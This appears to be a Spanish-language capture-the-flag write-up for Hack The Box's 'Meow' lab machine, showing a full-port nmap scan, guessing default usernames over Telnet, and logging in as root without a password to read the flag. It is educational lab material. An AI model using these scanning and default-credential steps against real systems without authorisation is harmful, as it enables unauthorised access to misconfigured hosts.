CorvusDDosKRom

Hack The Box: Meow

Very Easy

Meow es la primera máquina del Starting Point de Hack The Box. Involucra la identificación de un servicio Telnet mal configurado que permite acceso como root sin contraseña.

Linux
Hack The Box
Telnet Misconfiguration Default Credentials
Volver

Meow

Plataforma: Hack The Box

Dificultad: Very Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Meow

Meow

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN meow.txt 10.129.17.159
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 22:30 -0300
Nmap scan report for 10.129.17.159
Host is up (0.27s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 49.32 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN meow.txt: Guarda los resultados en el archivo “meow.txt”.

Puerto descubierto:

  • 23/tcp - Telnet (Linux telnetd)

Acceso Inicial

Enumeración de Credenciales por Defecto

El único servicio expuesto es Telnet en el puerto 23. Telnet es un protocolo de acceso remoto antiguo e inseguro que transmite datos en texto plano, incluyendo credenciales. Al no haber otros servicios desde donde enumerar usuarios válidos del sistema, probamos credenciales por defecto comunes:

login: admin        → Login incorrect
login: administrator → Login incorrect
login: guest        → Login incorrect
login: root         → Welcome to Ubuntu 20.04.2 LTS

El usuario root no requiere contraseña, lo que indica una configuración completamente insegura del servicio.

Acceso vía Telnet

telnet 10.129.17.159

Telnet root

Trying 10.129.17.159 ...
Connected to 10.129.17.159.
Escape character is '^]'.

Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
...
root@Meow:~#

Flag

root@Meow:~# cat flag.txt

Flag

Máquina Meow de Hack The Box Starting Point completada exitosamente.